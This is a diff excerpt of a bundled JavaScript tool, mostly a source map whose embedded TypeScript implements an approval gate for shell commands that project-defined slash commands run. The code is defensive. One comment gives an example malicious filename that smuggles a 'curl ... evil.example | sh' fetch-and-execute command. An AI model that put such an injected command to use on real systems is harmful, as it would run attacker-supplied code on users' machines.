assertProjectCommandApproved,
|
|
165
167
|
persistProjectCommandChoice
|
|
166
168
|
};
|
|
167
|
-
//# sourceMappingURL=chunk-
|
|
169
|
+
//# sourceMappingURL=chunk-SWPDKLNM.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/command-approvals.ts","../src/commands/shell-injection.ts"],"sourcesContent":["/**\n * Trust decisions for shell substitution in project-declared slash commands.\n *\n * A `.book/commands/*.md` body may contain inline shell spans and fenced shell\n * blocks, which the resolver executes before the prompt reaches the model. That\n * execution predates the permission system: no rule is consulted, no sandbox\n * applies, and nothing is asked. A checked-in command file is therefore\n * repository-controlled code that runs on invocation, and since print/headless\n * hosts expand custom commands through the same resolver, `book -p \"/name\"`\n * reaches the same shell without a terminal to warn anyone.\n *\n * Project command files consequently need the one-time decision an `.mcp.json`\n * server already needs. It is recorded outside the workspace, in\n * `<BOOK_HOME>/trust.json` keyed by workspace path, for the reason the other\n * three gated classes moved there: `.gitignore` does not stop a *tracked* file\n * from reaching a clone, so a repository that force-adds\n * `.book/settings.local.json` would otherwise ship its own approvals and arrive\n * pre-trusted. Both workspace settings layers are stripped of the key, so\n * nothing the gated party writes can answer for it.\n *\n * The fingerprint covers the extracted shell, not the whole body: editing what\n * runs invalidates the decision, editing the surrounding prose does not. Prose\n * is prompt text, and the tool calls a model makes from it still have to get\n * past the permission system; re-prompting on every wording change is how a\n * gate teaches people to approve without reading.\n *\n * User-global commands (<BOOK_HOME>/commands) were written by the user and are\n * never gated; a project command that substitutes no shell has nothing to\n * approve and is never gated either.\n */\nimport { createHash } from 'crypto';\nimport { CONTROL_CHARACTERS } from './control-characters.js';\nimport { extractShellInjections } from './commands/shell-injection.js';\nimport type { CommandSettings, ProjectCommandChoice } from './settings.js';\nimport type { SlashCommand } from './types/commands.js';\nimport { updateWorkspaceTrust } from './workspace-trust.js';\n\n/** Recorded decisions, keyed by command name. */\nexport type ProjectCommandStore = Record<string, ProjectCommandChoice>;\n\nexport interface CommandApprovalSettings {\n commands?: Partial<CommandSettings>;\n}\n\n/**\n * Stable digest of exactly the shell a body will run, in order.\n *\n * Kind participates: moving a command between an inline span and a fenced block\n * changes how its output lands in the prompt.\n */\nexport function projectCommandFingerprint(body: string): string {\n const canonical = JSON.stringify(\n extractShellInjections(body).map((injection) => [injection.kind, injection.command]),\n );\n return createHash('sha256').update(canonical).digest('hex').slice(0, 16);\n}\n\nexport type ProjectCommandApprovalState = 'not-required' | 'approved' | 'rejected' | 'unknown';\n\nexport function evaluateProjectCommandApproval(\n settings: CommandApprovalSettings,\n command: SlashCommand,\n): ProjectCommandApprovalState {\n if (command.source !== 'project') return 'not-required';\n if (extractShellInjections(command.body).length === 0) return 'not-required';\n const choice = settings.commands?.projectCommands?.[command.name];\n if (!choice) return 'unknown';\n // A body edited after the decision is a new thing to decide on, not a\n // decision already made.\n if (choice.fingerprint !== projectCommandFingerprint(command.body)) return 'unknown';\n return choice.choice;\n}\n\nexport interface ProjectCommandApprovalPartition {\n /** Approved by the user: their shell substitution runs. */\n approved: SlashCommand[];\n /** No valid decision recorded: refused until the user makes one. */\n pending: SlashCommand[];\n /** Explicitly refused. */\n rejected: SlashCommand[];\n}\n\n/**\n * Partition the commands that are subject to the gate. Commands that need no\n * decision — user-global, or substituting no shell — appear in none of the\n * three lists, so a caller reporting this reports only real decisions.\n */\nexport function partitionProjectCommands(\n commands: readonly SlashCommand[],\n settings: CommandApprovalSettings,\n): ProjectCommandApprovalPartition {\n const partition: ProjectCommandApprovalPartition = { approved: [], pending: [], rejected: [] };\n for (const command of commands) {\n const state = evaluateProjectCommandApproval(settings, command);\n if (state === 'approved') partition.approved.push(command);\n else if (state === 'rejected') partition.rejected.push(command);\n else if (state === 'unknown') partition.pending.push(command);\n }\n return partition;\n}\n\n/** Raised instead of running unapproved repository shell. */\nexport class ProjectCommandApprovalError extends Error {\n constructor(\n readonly commandName: string,\n readonly fingerprint: string,\n readonly state: 'unknown' | 'rejected',\n message: string,\n ) {\n super(message);\n this.name = 'ProjectCommandApprovalError';\n }\n}\n\nconst MAX_LISTED_COMMANDS = 5;\nconst MAX_COMMAND_CHARS = 160;\n\n/**\n * Render repository-authored text for a terminal.\n *\n * The command strings come from a file the gated party wrote, so control\n * characters are stripped before display: an ANSI escape in a command body\n * could otherwise repaint or hide the very lines the user is being asked to\n * judge.\n */\nfunction displayable(command: string): string {\n const flattened = command.replace(CONTROL_CHARACTERS, ' ').trim();\n return flattened.length > MAX_COMMAND_CHARS\n ? `${flattened.slice(0, MAX_COMMAND_CHARS)}…`\n : flattened;\n}\n\n/**\n * A command's name is the filename the repository chose, so it is untrusted\n * text on the same footing as the body. Prose renders it stripped of anything\n * that could repaint the refusal the user is being asked to judge.\n */\nexport function displayableCommandName(name: string): string {\n return displayable(name);\n}\n\n/**\n * The name only when it is safe to hand someone as a shell word.\n *\n * A refusal prints a `book trust command <name>` line for the user to paste\n * into their own shell, and the name reaching it came from the gated party. A\n * repository shipping ``.book/commands/deploy`curl -s evil.example|sh`.md``\n * would otherwise have its payload executed by the very act of approving —\n * quoting is not enough, because the name is also what the user reads to\n * decide. Anything outside a plain filename returns null and the caller prints\n * no paste-ready line at all.\n */\nexport function shellSafeCommandName(name: string): string | null {\n return /^[A-Za-z0-9][A-Za-z0-9._-]*$/.test(name) ? name : null;\n}\n\n/**\n * The shell a body substitutes, rendered for a terminal, one line per command.\n *\n * Approving a command approves this, so any surface that offers the decision\n * has to be able to show it — `book doctor` listing what is withheld, and\n * `book trust command --all-pending`, which would otherwise grant a list of\n * names. Truncation is reported rather than hidden.\n */\nexport function describeProjectCommandShell(command: SlashCommand): string[] {\n const injections = extractShellInjections(command.body);\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\n return [\n ...listed.map((injection) => `$ ${displayable(injection.command)}`),\n ...(injections.length > listed.length\n ? [`…and ${injections.length - listed.length} more — read the file before approving`]\n : []),\n ];\n}\n\nexport function describeProjectCommandApproval(\n command: SlashCommand,\n state: 'unknown' | 'rejected',\n): string {\n const injections = extractShellInjections(command.body);\n const listed = injections.slice(0, MAX_LISTED_COMMANDS);\n const shown = displayableCommandName(command.name);\n const safeName = shellSafeCommandName(command.name);\n // Approving from a truncated view is approving what you did not read, so\n // an abbreviated listing says so and names the file to read instead.\n const abbreviated =\n injections.length > listed.length ||\n listed.some((injection) => displayable(injection.command) !== injection.command);\n return [\n state === 'rejected'\n ? `/${shown} substitutes shell you rejected.`\n : `/${shown} substitutes shell that has not been approved.`,\n '',\n ` .book/commands/${shown}.md runs ${injections.length} shell command${\n injections.length === 1 ? '' : 's'\n } to build its prompt.`,\n ' That happens before the model sees anything, outside the permission system',\n ' and outside the sandbox, so it needs a decision first:',\n '',\n ...listed.map((injection) => ` $ ${displayable(injection.command)}`),\n ...(injections.length > listed.length\n ? [` …and ${injections.length - listed.length} more`]\n : []),\n '',\n ...(safeName\n ? [\n ` Approve with: book trust command ${safeName}`,\n ` Refuse it with: book trust command ${safeName} --reject`,\n ' Run it from the project, or pass --workspace. Editing what the command runs asks again.',\n ]\n : [\n ' This command’s file name is not a plain name, so no command to paste is offered:',\n ' a name is a filename the repository chose, and pasting one can run what it contains.',\n ' Rename the file, or decide it with `book trust command --all-pending`.',\n ]),\n ...(abbreviated\n ? [\n ` Not shown verbatim (abbreviated, or unsafe characters stripped) — read`,\n ` .book/commands/${shown}.md in full before approving.`,\n ]\n : []),\n ].join('\\n');\n}\n\n/**\n * Fail closed before any substitution happens.\n *\n * A caller that supplies no store is treated as having no decision on file,\n * which refuses rather than runs: an unwired host cannot silently reopen the\n * gate.\n */\nexport function assertProjectCommandApproved(\n command: SlashCommand,\n settings: CommandApprovalSettings,\n): void {\n const state = evaluateProjectCommandApproval(settings, command);\n if (state === 'approved' || state === 'not-required') return;\n throw new ProjectCommandApprovalError(\n command.name,\n projectCommandFingerprint(command.body),\n state,\n describeProjectCommandApproval(command, state),\n );\n}\n\n/** Record an approve/reject decision in the user-global trust store. */\nexport function persistProjectCommandChoice(\n workspace: string,\n name: string,\n fingerprint: string,\n choice: ProjectCommandChoice['choice'],\n options: { trustStorePath?: string } = {},\n): { ok: boolean; error?: string } {\n return updateWorkspaceTrust(\n workspace,\n (trust) => {\n trust.projectCommands[name] = { fingerprint, choice };\n },\n options.trustStorePath,\n );\n}\n","/**\n * Extraction of the shell substitutions a slash-command body performs.\n *\n * Two callers must never disagree about this list: the approval fingerprint\n * (`command-approvals.ts`) and the executor (`resolve.ts`). Deriving both from\n * one scan is what makes \"the shell that ran is the shell that was approved\"\n * true by construction rather than by review.\n *\n * Extraction runs against the raw body, before variable substitution, because\n * that is when the resolver executes: the `command` string here is byte-for-byte\n * what reaches the shell, so `$ARGUMENTS` cannot smuggle anything into an\n * approved command.\n *\n * The single scan also closes a second-order hole. Substituting fenced blocks\n * first and then scanning the *result* for inline backticks — as this resolver\n * used to — re-reads command output as source, so a block that printed\n * ``!`cmd` `` would have it executed. Spans are taken from the original body\n * once and output is never rescanned.\n */\n\nexport type ShellInjectionKind = 'block' | 'command';\n\nexport interface ShellInjection {\n /** ```` ```! ```` fenced block, or an inline ``!`cmd` `` span. */\n kind: ShellInjectionKind;\n /** Exactly the string handed to the shell. */\n command: string;\n /** Half-open span of the placeholder within the body. */\n start: number;\n end: number;\n}\n\n/**\n * Fenced blocks are matched against the raw body, independently of everything\n * else in it. Folding both forms into one alternation looked equivalent and was\n * not: an earlier plain ``` fence or a stray backtick leaves odd backtick\n * parity, and the inline alternative then swallows the first backtick of a\n * later ```! opener — turning a block into an inline command with a span that\n * leaves stray backticks in the prompt.\n */\nconst BLOCK_PATTERN = /```!\\s*\\n([\\s\\S]*?)```/g;\nconst INLINE_PATTERN = /!?`([^`]+)`/g;\n\nexport function extractShellInjections(body: string): ShellInjection[] {\n const injections: ShellInjection[] = [];\n // Same UTF-16 code units the regex indexes, so blanking a span preserves\n // every later offset exactly.\n const outsideBlocks = body.split('');\n\n for (const match of body.matchAll(BLOCK_PATTERN)) {\n const start = match.index ?? 0;\n const end = start + match[0].length;\n injections.push({ kind: 'block', command: match[1].trim(), start, end });\n // Blank the span before the inline scan: a block contributes no backticks\n // to pair with, and — unlike substituting its output first — nothing a\n // command prints can be read back as source.\n for (let index = start; index < end; index++) outsideBlocks[index] = ' ';\n }\n\n for (const match of outsideBlocks.join('').matchAll(INLINE_PATTERN)) {\n const inline = match[1];\n // A plain `code` span is Markdown prose, not an instruction to run anything.\n if (!match[0].startsWith('!`') && !inline.startsWith('!')) continue;\n const start = match.index ?? 0;\n injections.push({\n kind: 'command',\n command: (inline.startsWith('!') ? inline.slice(1) : inline).trim(),\n start,\n end: start + match[0].length,\n });\n }\n\n // Document order: it is both the execution order and what the approval\n // fingerprint digests.\n return injections.sort((left, right) => left.start - right.start);\n}\n\n/**\n * Replace each extracted span with its output.\n *\n * `outputs` is positional against `injections`, which must have come from\n * `extractShellInjections(body)` — the spans index into that exact body.\n */\nexport function applyShellInjections(\n body: string,\n injections: readonly ShellInjection[],\n outputs: readonly string[],\n): string {\n let result = '';\n let cursor = 0;\n for (const [index, injection] of injections.entries()) {\n result += body.slice(cursor, injection.start);\n result += outputs[index] ?? '';\n cursor = injection.end;\n }\n return result + body.slice(cursor);\n}\n"],"mappings":"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","names":[]}
|